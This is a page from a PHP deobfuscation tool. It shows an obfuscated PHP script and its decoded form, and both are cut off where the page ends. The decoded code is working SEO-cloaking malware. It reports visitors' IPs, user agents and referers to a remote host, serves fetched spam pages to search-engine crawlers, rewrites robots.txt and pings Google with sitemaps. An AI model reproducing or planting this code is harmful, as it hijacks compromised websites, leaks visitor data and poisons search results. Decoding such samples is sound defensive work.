Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ToYJQ; UfJuF: Gg9lf: goto RQT3u; TB7sd: header("\103\157\x6e\x74\145\x6e\164\5..

Decoded Output download

<?php 
goto ToYJQ; UfJuF: Gg9lf: goto RQT3u; TB7sd: header("Content-Type: text/xml; charset=utf-8"); goto ei286; H7qJM: $lcis9 = $t0FCq[1]; goto HPEjx; xRF_F: if (strpos($M2z6r, "index.php") !== false) { goto f8mHq; } goto Weh3D; uAwPc: gwjDp: goto UfUKn; FWtEg: $D1dx4 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto QMnYm; qh039: $qGMzj = 0; goto yNOMt; O0TjQ: @file_put_contents("robots.txt", $LCQgf); goto pX06h; YzDKG: f8mHq: goto qf1Ln; xfEDH: echo $KAaRW; goto RQ5Pa; bDHM7: $Xb1r6 = $fGHDm . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto YBbBX; YbqyY: if (substr($KAaRW, 0, 5) == "<?xml") { goto tdS5I; } goto PQLBx; baqA9: $KAaRW = IId9K($J1mxd . urlencode($vM29_)); goto ITFJf; hVORF: M5cNx: goto H0XE1; z6W08: $KAaRW = CjWxq($VfwJv); goto JiByy; O07T0: exit; goto z9V83; kOwxK: tXvsa: goto yykGa; yn3dH: goto yFoTF; goto rwP0z; odMaH: i72RA: goto RKtxB; H0XE1: $VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}"; goto z6W08; gYHEq: function iiD9k($v8ar8) { goto cX5Mq; m2QRL: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE); goto E7xa7; DJC_y: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE); goto m2QRL; sGHkD: $QFTEH = @file_get_contents($v8ar8); goto ybxlS; l1Shg: curl_setopt($N4luQ, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto gUE3h; nBLk3: curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false); goto l1Shg; V1CFh: curl_setopt($N4luQ, CURLOPT_URL, $v8ar8); goto XPG7k; XPG7k: curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true); goto nBLk3; cX5Mq: $N4luQ = curl_init(); goto V1CFh; E7xa7: HZ4UU: goto lq38G; ybxlS: nr30g: goto Zg2HC; lq38G: $QFTEH = curl_exec($N4luQ); goto G26pA; G26pA: curl_close($N4luQ); goto ishRj; Zg2HC: return $QFTEH; goto OACf2; ishRj: if (!empty($QFTEH)) { goto nr30g; } goto sGHkD; gUE3h: if (!(strpos($v8ar8, "https://") !== false)) { goto HZ4UU; } goto DJC_y; OACf2: } goto coiQU; osItD: $fGHDm = urlencode($_SERVER["REQUEST_SCHEME"]); goto Ux9jq; J2dUl: header("Content-Type: text/plain; charset=utf-8"); goto HHABF; zP3GG: $VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}&sitemap=" . urlencode($vM29_); goto TqXvx; EsR_f: goto gQxMi; goto wEmeF; P_MMb: $JOVC3 = urlencode($_SERVER["HTTP_USER_AGENT"]); goto jnFsI; SpHjZ: $oQ33H = 1; goto qrTin; o2naz: if (empty($KAaRW)) { goto i72RA; } goto Ru03b; ToYJQ: error_reporting(0); goto myiK0; tee85: d6m_j: goto ulbza; Fwcm3: header("HTTP/1.0 403 Forbidden"); goto tdo5r; TqXvx: $KAaRW = cJwxq($VfwJv); goto SpHjZ; PS33S: $_SERVER["REQUEST_SCHEME"] = "http"; goto mZe7A; SXaxF: hBm_J: goto O0TjQ; rwP0z: tdS5I: goto TB7sd; By2ut: gQxMi: goto LqKjr; w3aHS: $_SERVER["REQUEST_SCHEME"] = "https"; goto Z0Gse; izEVK: $qGMzj = 1; goto ueAQ_; cXe9Z: $M2z6r = "/"; goto WwhPI; a76_i: $Mt64O = urlencode($_SERVER["HTTP_HOST"]); goto B2bPF; wVk4l: $posoF = 2425; goto P_MMb; Ru03b: echo $KAaRW; goto A9fi3; qrTin: q52vu: goto Znplz; yNOMt: if (!file_exists("uxo.txt")) { goto HtyEL; } goto TOMBJ; YBbBX: $KAaRW = CjwxQ($Xb1r6); goto lgb3V; PgYo1: if (strpos($bgt_E, "jp2023") !== false) { goto Gg9lf; } goto mxLww; qCFW1: goto qw0Z5; goto UfJuF; Xlke9: oTO3W: goto SxJyM; JiByy: if (empty($KAaRW)) { goto huWaw; } goto GYAQf; TPIsL: Iti0K: goto HxaxV; lgb3V: if ($KAaRW == "ok") { goto VrnMk; } goto LVfHd; KfcWC: if (strpos($JOVC3, "YandexBot") !== false || strpos($JOVC3, "AhrefsBot") !== false || strpos($JOVC3, "SEMrushBot") !== false || strpos($JOVC3, "MJ12bot") !== false) { goto PlkrW; } goto p5JtY; HPEjx: TuYg6: goto p6AAe; p5JtY: if (strpos($bgt_E, "favicon.ico") !== false) { goto tXvsa; } goto PgYo1; MxQE2: goto Iti0K; goto jpZGe; EzLCn: @file_put_contents("robots.txt", $KAaRW); goto O07T0; Weh3D: $M2z6r = $M2z6r . "?"; goto wLObf; oam6C: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto vppRm; } goto PS33S; qf1Ln: if ($qGMzj == 0) { goto xeZ3P; } goto cXe9Z; zi5IW: echo "ok"; goto w7Qxo; U1xHe: $PRBej = "bing|google|yahoo"; goto Ukq0D; fgmlB: function CjWxQ($v8ar8) { goto LKLdY; LKLdY: $QFTEH = @file_get_contents($v8ar8); goto s97fg; yUQXa: $QFTEH = curl_exec($N4luQ); goto AxuVl; anTQK: curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true); goto mQ4GL; mQ4GL: curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false); goto Gi0y4; BuGN_: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE); goto DO2cW; iUatM: curl_setopt($N4luQ, CURLOPT_URL, $v8ar8); goto anTQK; s97fg: if (!empty($QFTEH)) { goto x296s; } goto inyWa; XXYWh: x296s: goto PNHuF; inyWa: $N4luQ = curl_init(); goto iUatM; DO2cW: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE); goto AZFe1; Gi0y4: if (!(strpos($v8ar8, "https://") !== false)) { goto ZzfLm; } goto BuGN_; AZFe1: ZzfLm: goto yUQXa; PNHuF: return $QFTEH; goto xxKt2; AxuVl: curl_close($N4luQ); goto XXYWh; xxKt2: } goto gYHEq; w7Qxo: exit; goto EqwxQ; DllVd: usleep(100 * 1000); goto zP3GG; ei286: yFoTF: goto EI3J2; fcMxW: if (preg_match("/({$PRBej})/i", $_SERVER["HTTP_USER_AGENT"])) { goto oTO3W; } goto d6xm0; Sfi6q: if (!preg_match("/<h2>(.+?)<\/h2>/i", $KAaRW, $t0FCq)) { goto TuYg6; } goto H7qJM; TEKiz: echo $KAaRW; goto PmGrC; EDG8c: if (strpos($bgt_E, "pingsitemap.xml") !== false) { goto ADEWi; } goto KfcWC; HwUx0: $VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&k=1"; goto uF5c5; VFFvg: xeZ3P: goto VrW2o; II9Gq: goto q52vu; goto SXaxF; Rqihd: w3sKE: goto XSBZj; UfUKn: ZFSmg: goto NlxE5; aZwNE: PlkrW: goto VklEr; gOFxK: E3LLj: goto Oj5Mw; cYaVf: goto roMZF; goto kOwxK; sNEdl: exit; goto McmFq; ulbza: $VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}"; goto J2dUl; GKLqu: lytc3: goto nhLWi; sC8bS: $vM29_ = "{$fGHDm}://" . $Mt64O . $M2z6r . "sitemap.xml"; goto QNZvv; wEmeF: MBYoK: goto nnuIJ; WmC61: $KAaRW = CJwxq($VfwJv); goto TEKiz; d0pSh: qw0Z5: goto cYaVf; NlxE5: $J1mxd = "https://www.google.com/ping?sitemap="; goto lxdmg; jnFsI: $T7Yqg = urlencode($_SERVER["HTTP_REFERER"]); goto FWtEg; mZe7A: goto eXTa_; goto gCF1N; LVfHd: $qGMzj = 0; goto a4Wvx; gCF1N: vppRm: goto w3aHS; Oj5Mw: goto upp2u; goto Xlke9; p53FC: $M2z6r = $_SERVER["SCRIPT_NAME"]; goto xRF_F; Ukq0D: $Vn9xM = "http://cw24.alertsub.top/index.php"; goto wVk4l; RQT3u: $VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}"; goto WmC61; DEZ9T: eN4e8: goto dL_CS; mxLww: if (strpos($bgt_E, "robots.txt") !== false || strpos($bgt_E, "writerobots") !== false) { goto d6m_j; } goto vWSh1; cWxDW: R2Pcb: goto U1xHe; McmFq: huWaw: goto gOFxK; nhLWi: $oQ33H++; goto II9Gq; uF5c5: $KAaRW = CJWxq($VfwJv); goto o2naz; VklEr: exit; goto DEZ9T; A9fi3: exit; goto odMaH; dL_CS: goto KUYx0; goto W5tka; Ux9jq: $bgt_E = urldecode($_SERVER["REQUEST_URI"]); goto xCqXy; pX06h: exit; goto Owqab; HHABF: echo $KAaRW = cJWxq($VfwJv); goto EzLCn; Z0Gse: eXTa_: goto osItD; bPi_1: HtyEL: goto bDHM7; kPZqu: goto eN4e8; goto aZwNE; LqKjr: goto ilJ0U; goto tee85; VrW2o: $M2z6r = "/?"; goto uAwPc; p6AAe: echo $vM29_ . ": " . $lcis9 . "<br/>"; goto DllVd; vWSh1: if (preg_match("@^/(.*?).xml$@i", $bgt_E)) { goto MBYoK; } goto fcMxW; wLObf: goto ZFSmg; goto YzDKG; ITFJf: $lcis9 = "<font color='red'>ERROR</font>"; goto Sfi6q; QMnYm: $Znn_c = urlencode(W7ivs()); goto a76_i; z9V83: ilJ0U: goto qCFW1; EI3J2: echo $KAaRW; goto jedBD; jedBD: exit; goto Rqihd; XSBZj: upp2u: goto EsR_f; C3JbR: header("Content-Type: text/xml; charset=utf-8"); goto xfEDH; ueAQ_: @file_put_contents("uxo.txt", "1"); goto TPIsL; TOMBJ: $qGMzj = @file_get_contents("uxo.txt"); goto vWeKZ; PmGrC: exit; goto d0pSh; B2bPF: $JmGFz = urlencode($_SERVER["SCRIPT_NAME"]); goto oam6C; Jo2tx: $KAaRW = CjWxQ($VfwJv); goto FkWg0; PQLBx: header("Content-Type: text/html; charset=utf-8"); goto yn3dH; lxdmg: $LCQgf = "User-agent: *
Allow: /"; goto sC8bS; vWeKZ: goto cyLXk; goto bPi_1; jpZGe: VrnMk: goto izEVK; RKtxB: goto E3LLj; goto hVORF; SxJyM: $VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}"; goto Jo2tx; xCqXy: if (!(strpos($bgt_E, "uuuuxxxxooo") !== false)) { goto moX2V; } goto zi5IW; E7JoN: $KAaRW = cJWXQ($VfwJv); goto C3JbR; WwhPI: goto gwjDp; goto VFFvg; HxaxV: cyLXk: goto EDG8c; nnuIJ: $VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}"; goto E7JoN; RQ5Pa: exit; goto By2ut; a4Wvx: @file_put_contents("uxo.txt", "0"); goto MxQE2; yykGa: roMZF: goto kPZqu; GYAQf: echo $KAaRW; goto sNEdl; myiK0: function w7ivS() { goto tAmlc; AIZ2j: KbdgH: goto MmuRG; MmuRG: $Znn_c = getenv("REMOTE_ADDR"); goto hD6AD; yStCm: $loCvs = explode(",", $Znn_c); goto uYJvr; cO553: goto ceCKc; goto AIZ2j; d9XI4: goto ceCKc; goto IbooK; tzLli: return $Znn_c; goto wHws1; PB4S6: $Znn_c = "0.0.0.0"; goto d9XI4; hD6AD: ceCKc: goto tzLli; JCtW4: if (getenv("HTTP_X_FORWARDED_FOR")) { goto dPzCC; } goto TaAhg; i7EvH: kOBVr: goto xL2xA; ldpdz: $Znn_c = getenv("HTTP_CLIENT_IP"); goto i7EvH; IbooK: ut17T: goto GGeGf; wtIm6: goto ceCKc; goto AqDY2; tAmlc: if (!getenv("HTTP_CLIENT_IP")) { goto kOBVr; } goto ldpdz; GGeGf: $Znn_c = getenv("HTTP_X_REAL_IP"); goto wtIm6; AqDY2: dPzCC: goto TxHt1; uYJvr: $Znn_c = $loCvs[0]; goto cO553; TxHt1: $Znn_c = getenv("HTTP_X_FORWARDED_FOR"); goto yStCm; TaAhg: if (getenv("REMOTE_ADDR")) { goto KbdgH; } goto PB4S6; xL2xA: if (getenv("HTTP_X_REAL_IP")) { goto ut17T; } goto JCtW4; wHws1: } goto fgmlB; tdo5r: exit; goto cWxDW; FkWg0: if (empty($KAaRW)) { goto w3sKE; } goto YbqyY; d6xm0: if (preg_match("/({$PRBej})/i", $_SERVER["HTTP_REFERER"])) { goto M5cNx; } goto HwUx0; QNZvv: $LCQgf = trim($LCQgf) . "
\xa" . "Sitemap: {$vM29_}"; goto baqA9; coiQU: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot)/i", $_SERVER["HTTP_USER_AGENT"])) { goto R2Pcb; } goto Fwcm3; W5tka: ADEWi: goto p53FC; EqwxQ: moX2V: goto qh039; Znplz: if (!($oQ33H < 30)) { goto hBm_J; } goto GKLqu; Owqab: KUYx0: 
?>

Did this file decode correctly?

Original Code

<?php
goto ToYJQ; UfJuF: Gg9lf: goto RQT3u; TB7sd: header("\103\157\x6e\x74\145\x6e\164\55\x54\171\x70\145\x3a\x20\x74\145\x78\164\x2f\170\x6d\154\x3b\40\x63\x68\141\162\x73\145\164\75\x75\x74\146\55\x38"); goto ei286; H7qJM: $lcis9 = $t0FCq[1]; goto HPEjx; xRF_F: if (strpos($M2z6r, "\x69\156\x64\145\x78\56\x70\150\160") !== false) { goto f8mHq; } goto Weh3D; uAwPc: gwjDp: goto UfUKn; FWtEg: $D1dx4 = urlencode($_SERVER["\x48\x54\x54\120\x5f\x41\x43\103\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto QMnYm; qh039: $qGMzj = 0; goto yNOMt; O0TjQ: @file_put_contents("\x72\x6f\x62\x6f\164\x73\56\164\x78\x74", $LCQgf); goto pX06h; YzDKG: f8mHq: goto qf1Ln; xfEDH: echo $KAaRW; goto RQ5Pa; bDHM7: $Xb1r6 = $fGHDm . "\x3a\x2f\57" . $_SERVER["\110\124\x54\120\137\x48\x4f\x53\124"] . "\x2f\x75\x75\165\165\x78\170\170\x78\157\157\157"; goto YBbBX; YbqyY: if (substr($KAaRW, 0, 5) == "\x3c\x3f\x78\155\x6c") { goto tdS5I; } goto PQLBx; baqA9: $KAaRW = IId9K($J1mxd . urlencode($vM29_)); goto ITFJf; hVORF: M5cNx: goto H0XE1; z6W08: $KAaRW = CjWxq($VfwJv); goto JiByy; O07T0: exit; goto z9V83; kOwxK: tXvsa: goto yykGa; yn3dH: goto yFoTF; goto rwP0z; odMaH: i72RA: goto RKtxB; H0XE1: $VfwJv = $Vn9xM . "\77\x61\147\x65\156\164\75{$JOVC3}\x26\x72\145\146\145\x72\75{$T7Yqg}\x26\154\x61\156\147\x3d{$D1dx4}\x26\x69\x70\75{$Znn_c}\x26\144\157\x6d\x3d{$Mt64O}\46\x68\x74\164\x70\75{$fGHDm}\x26\165\x72\151\75{$bgt_E}\x26\x70\143\x3d{$posoF}\46\x72\x65\x77\162\x69\164\145\141\142\x6c\145\75{$qGMzj}"; goto z6W08; gYHEq: function iiD9k($v8ar8) { goto cX5Mq; m2QRL: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE); goto E7xa7; DJC_y: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE); goto m2QRL; sGHkD: $QFTEH = @file_get_contents($v8ar8); goto ybxlS; l1Shg: curl_setopt($N4luQ, CURLOPT_USERAGENT, $_SERVER["\110\x54\x54\x50\x5f\x55\x53\x45\122\x5f\101\107\105\116\x54"]); goto gUE3h; nBLk3: curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false); goto l1Shg; V1CFh: curl_setopt($N4luQ, CURLOPT_URL, $v8ar8); goto XPG7k; XPG7k: curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true); goto nBLk3; cX5Mq: $N4luQ = curl_init(); goto V1CFh; E7xa7: HZ4UU: goto lq38G; ybxlS: nr30g: goto Zg2HC; lq38G: $QFTEH = curl_exec($N4luQ); goto G26pA; G26pA: curl_close($N4luQ); goto ishRj; Zg2HC: return $QFTEH; goto OACf2; ishRj: if (!empty($QFTEH)) { goto nr30g; } goto sGHkD; gUE3h: if (!(strpos($v8ar8, "\150\x74\164\160\x73\x3a\x2f\x2f") !== false)) { goto HZ4UU; } goto DJC_y; OACf2: } goto coiQU; osItD: $fGHDm = urlencode($_SERVER["\122\105\121\x55\105\x53\x54\137\x53\x43\x48\x45\115\x45"]); goto Ux9jq; J2dUl: header("\103\157\156\x74\145\x6e\x74\55\124\x79\160\x65\x3a\x20\164\x65\x78\x74\57\x70\x6c\x61\x69\x6e\x3b\40\x63\150\141\x72\163\x65\164\75\x75\x74\146\55\x38"); goto HHABF; zP3GG: $VfwJv = $Vn9xM . "\77\x61\147\145\x6e\164\75{$JOVC3}\46\x72\145\146\145\x72\75{$T7Yqg}\46\154\141\x6e\x67\x3d{$D1dx4}\x26\x69\160\75{$Znn_c}\46\144\157\155\x3d{$Mt64O}\46\150\x74\x74\x70\x3d{$fGHDm}\46\x75\x72\x69\x3d{$bgt_E}\46\x70\x63\x3d{$posoF}\x26\x72\x65\x77\x72\151\x74\145\141\142\x6c\x65\x3d{$qGMzj}\x26\x73\143\162\x69\160\164\x3d{$JmGFz}\46\163\151\x74\x65\155\x61\160\75" . urlencode($vM29_); goto TqXvx; EsR_f: goto gQxMi; goto wEmeF; P_MMb: $JOVC3 = urlencode($_SERVER["\110\x54\x54\x50\137\125\x53\x45\122\137\101\x47\x45\116\x54"]); goto jnFsI; SpHjZ: $oQ33H = 1; goto qrTin; o2naz: if (empty($KAaRW)) { goto i72RA; } goto Ru03b; ToYJQ: error_reporting(0); goto myiK0; tee85: d6m_j: goto ulbza; Fwcm3: header("\x48\124\124\120\57\x31\56\60\40\x34\60\63\40\x46\157\x72\x62\151\144\x64\145\156"); goto tdo5r; TqXvx: $KAaRW = cJwxq($VfwJv); goto SpHjZ; PS33S: $_SERVER["\x52\105\x51\x55\105\x53\124\x5f\123\103\110\105\115\x45"] = "\150\164\164\x70"; goto mZe7A; SXaxF: hBm_J: goto O0TjQ; rwP0z: tdS5I: goto TB7sd; By2ut: gQxMi: goto LqKjr; w3aHS: $_SERVER["\x52\105\x51\x55\105\123\x54\137\123\x43\x48\x45\x4d\105"] = "\x68\164\x74\x70\163"; goto Z0Gse; izEVK: $qGMzj = 1; goto ueAQ_; cXe9Z: $M2z6r = "\x2f"; goto WwhPI; a76_i: $Mt64O = urlencode($_SERVER["\110\124\x54\x50\137\x48\x4f\123\x54"]); goto B2bPF; wVk4l: $posoF = 2425; goto P_MMb; Ru03b: echo $KAaRW; goto A9fi3; qrTin: q52vu: goto Znplz; yNOMt: if (!file_exists("\165\x78\157\x2e\x74\170\164")) { goto HtyEL; } goto TOMBJ; YBbBX: $KAaRW = CjwxQ($Xb1r6); goto lgb3V; PgYo1: if (strpos($bgt_E, "\152\x70\62\60\62\x33") !== false) { goto Gg9lf; } goto mxLww; qCFW1: goto qw0Z5; goto UfJuF; Xlke9: oTO3W: goto SxJyM; JiByy: if (empty($KAaRW)) { goto huWaw; } goto GYAQf; TPIsL: Iti0K: goto HxaxV; lgb3V: if ($KAaRW == "\x6f\x6b") { goto VrnMk; } goto LVfHd; KfcWC: if (strpos($JOVC3, "\131\x61\x6e\144\145\x78\102\157\x74") !== false || strpos($JOVC3, "\101\150\x72\x65\146\x73\102\157\164") !== false || strpos($JOVC3, "\x53\105\115\162\x75\163\150\102\x6f\164") !== false || strpos($JOVC3, "\x4d\112\61\62\x62\157\164") !== false) { goto PlkrW; } goto p5JtY; HPEjx: TuYg6: goto p6AAe; p5JtY: if (strpos($bgt_E, "\146\141\x76\151\143\157\156\x2e\151\x63\x6f") !== false) { goto tXvsa; } goto PgYo1; MxQE2: goto Iti0K; goto jpZGe; EzLCn: @file_put_contents("\x72\x6f\x62\x6f\164\x73\x2e\x74\170\164", $KAaRW); goto O07T0; Weh3D: $M2z6r = $M2z6r . "\x3f"; goto wLObf; oam6C: if (!empty($_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\123\103\110\105\x4d\x45"]) && $_SERVER["\x52\x45\x51\x55\105\x53\124\137\123\x43\110\x45\115\x45"] == "\x68\x74\x74\160\163" || !empty($_SERVER["\110\124\x54\x50\x53"]) && $_SERVER["\110\x54\124\120\x53"] == "\157\x6e" || !empty($_SERVER["\123\x45\x52\x56\105\122\137\x50\117\122\124"]) && $_SERVER["\x53\105\122\126\105\122\x5f\120\117\122\124"] == "\64\64\63" || isset($_SERVER["\110\x54\x54\x50\137\x58\x5f\106\117\x52\x57\101\x52\x44\105\x44\x5f\120\x52\x4f\x54\x4f"]) && $_SERVER["\110\124\124\120\137\130\137\x46\117\x52\127\101\x52\x44\105\x44\x5f\x50\122\x4f\x54\x4f"] == "\x68\164\x74\x70\x73") { goto vppRm; } goto PS33S; qf1Ln: if ($qGMzj == 0) { goto xeZ3P; } goto cXe9Z; zi5IW: echo "\157\x6b"; goto w7Qxo; U1xHe: $PRBej = "\142\x69\156\x67\x7c\147\157\157\x67\x6c\x65\x7c\x79\141\x68\157\157"; goto Ukq0D; fgmlB: function CjWxQ($v8ar8) { goto LKLdY; LKLdY: $QFTEH = @file_get_contents($v8ar8); goto s97fg; yUQXa: $QFTEH = curl_exec($N4luQ); goto AxuVl; anTQK: curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true); goto mQ4GL; mQ4GL: curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false); goto Gi0y4; BuGN_: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE); goto DO2cW; iUatM: curl_setopt($N4luQ, CURLOPT_URL, $v8ar8); goto anTQK; s97fg: if (!empty($QFTEH)) { goto x296s; } goto inyWa; XXYWh: x296s: goto PNHuF; inyWa: $N4luQ = curl_init(); goto iUatM; DO2cW: curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE); goto AZFe1; Gi0y4: if (!(strpos($v8ar8, "\150\x74\x74\x70\x73\x3a\x2f\57") !== false)) { goto ZzfLm; } goto BuGN_; AZFe1: ZzfLm: goto yUQXa; PNHuF: return $QFTEH; goto xxKt2; AxuVl: curl_close($N4luQ); goto XXYWh; xxKt2: } goto gYHEq; w7Qxo: exit; goto EqwxQ; DllVd: usleep(100 * 1000); goto zP3GG; ei286: yFoTF: goto EI3J2; fcMxW: if (preg_match("\57\50{$PRBej}\51\x2f\x69", $_SERVER["\110\124\x54\120\137\125\x53\105\122\x5f\x41\107\x45\x4e\x54"])) { goto oTO3W; } goto d6xm0; Sfi6q: if (!preg_match("\57\74\150\62\x3e\50\x2e\53\x3f\x29\74\x5c\57\150\62\x3e\57\x69", $KAaRW, $t0FCq)) { goto TuYg6; } goto H7qJM; TEKiz: echo $KAaRW; goto PmGrC; EDG8c: if (strpos($bgt_E, "\x70\151\156\x67\163\151\x74\x65\x6d\x61\160\56\x78\155\x6c") !== false) { goto ADEWi; } goto KfcWC; HwUx0: $VfwJv = $Vn9xM . "\x3f\x61\x67\145\156\164\75{$JOVC3}\46\x72\145\146\145\162\75{$T7Yqg}\x26\154\141\156\x67\75{$D1dx4}\46\151\160\x3d{$Znn_c}\46\144\157\155\x3d{$Mt64O}\46\150\164\164\x70\x3d{$fGHDm}\46\165\162\151\75{$bgt_E}\x26\160\143\75{$posoF}\46\x72\x65\x77\162\151\x74\145\141\x62\154\145\75{$qGMzj}\46\x6b\75\61"; goto uF5c5; VFFvg: xeZ3P: goto VrW2o; II9Gq: goto q52vu; goto SXaxF; Rqihd: w3sKE: goto XSBZj; UfUKn: ZFSmg: goto NlxE5; aZwNE: PlkrW: goto VklEr; gOFxK: E3LLj: goto Oj5Mw; cYaVf: goto roMZF; goto kOwxK; sNEdl: exit; goto McmFq; ulbza: $VfwJv = $Vn9xM . "\77\x61\x67\145\156\x74\75{$JOVC3}\46\x72\145\146\x65\162\x3d{$T7Yqg}\x26\x6c\141\156\147\x3d{$D1dx4}\x26\x69\160\x3d{$Znn_c}\46\144\x6f\155\x3d{$Mt64O}\x26\150\x74\164\160\x3d{$fGHDm}\46\165\x72\151\x3d{$bgt_E}\46\160\x63\x3d{$posoF}\x26\162\x65\x77\x72\x69\164\x65\x61\142\x6c\x65\x3d{$qGMzj}\x26\163\x63\x72\x69\x70\164\75{$JmGFz}"; goto J2dUl; GKLqu: lytc3: goto nhLWi; sC8bS: $vM29_ = "{$fGHDm}\x3a\x2f\57" . $Mt64O . $M2z6r . "\x73\x69\x74\x65\155\141\160\56\170\155\x6c"; goto QNZvv; wEmeF: MBYoK: goto nnuIJ; WmC61: $KAaRW = CJwxq($VfwJv); goto TEKiz; d0pSh: qw0Z5: goto cYaVf; NlxE5: $J1mxd = "\150\x74\164\x70\163\72\x2f\x2f\x77\167\x77\x2e\147\x6f\x6f\147\x6c\x65\56\x63\157\x6d\57\160\151\x6e\147\x3f\163\151\164\145\155\x61\x70\x3d"; goto lxdmg; jnFsI: $T7Yqg = urlencode($_SERVER["\110\x54\124\120\x5f\x52\105\106\105\x52\x45\x52"]); goto FWtEg; mZe7A: goto eXTa_; goto gCF1N; LVfHd: $qGMzj = 0; goto a4Wvx; gCF1N: vppRm: goto w3aHS; Oj5Mw: goto upp2u; goto Xlke9; p53FC: $M2z6r = $_SERVER["\x53\103\x52\111\x50\124\x5f\x4e\101\115\105"]; goto xRF_F; Ukq0D: $Vn9xM = "\x68\x74\164\x70\x3a\57\x2f\143\x77\x32\x34\x2e\x61\154\x65\x72\164\x73\165\142\x2e\164\x6f\160\57\151\x6e\x64\145\170\56\160\150\160"; goto wVk4l; RQT3u: $VfwJv = $Vn9xM . "\x3f\x61\x67\145\156\164\75{$JOVC3}\46\162\x65\x66\x65\x72\75{$T7Yqg}\x26\154\x61\x6e\x67\x3d{$D1dx4}\46\x69\160\x3d{$Znn_c}\46\144\157\155\x3d{$Mt64O}\x26\150\164\164\x70\x3d{$fGHDm}\x26\x75\x72\151\x3d{$bgt_E}\46\x70\143\x3d{$posoF}\x26\x72\x65\x77\162\151\164\145\141\x62\x6c\145\75{$qGMzj}\46\163\143\162\151\x70\x74\x3d{$JmGFz}"; goto WmC61; DEZ9T: eN4e8: goto dL_CS; mxLww: if (strpos($bgt_E, "\162\157\x62\157\x74\163\56\164\170\164") !== false || strpos($bgt_E, "\x77\162\151\x74\145\162\157\142\x6f\x74\163") !== false) { goto d6m_j; } goto vWSh1; cWxDW: R2Pcb: goto U1xHe; McmFq: huWaw: goto gOFxK; nhLWi: $oQ33H++; goto II9Gq; uF5c5: $KAaRW = CJWxq($VfwJv); goto o2naz; VklEr: exit; goto DEZ9T; A9fi3: exit; goto odMaH; dL_CS: goto KUYx0; goto W5tka; Ux9jq: $bgt_E = urldecode($_SERVER["\x52\x45\121\x55\105\x53\x54\137\x55\x52\x49"]); goto xCqXy; pX06h: exit; goto Owqab; HHABF: echo $KAaRW = cJWxq($VfwJv); goto EzLCn; Z0Gse: eXTa_: goto osItD; bPi_1: HtyEL: goto bDHM7; kPZqu: goto eN4e8; goto aZwNE; LqKjr: goto ilJ0U; goto tee85; VrW2o: $M2z6r = "\57\77"; goto uAwPc; p6AAe: echo $vM29_ . "\72\40" . $lcis9 . "\x3c\x62\x72\57\76"; goto DllVd; vWSh1: if (preg_match("\100\x5e\x2f\50\x2e\x2a\77\x29\x2e\x78\155\x6c\x24\100\x69", $bgt_E)) { goto MBYoK; } goto fcMxW; wLObf: goto ZFSmg; goto YzDKG; ITFJf: $lcis9 = 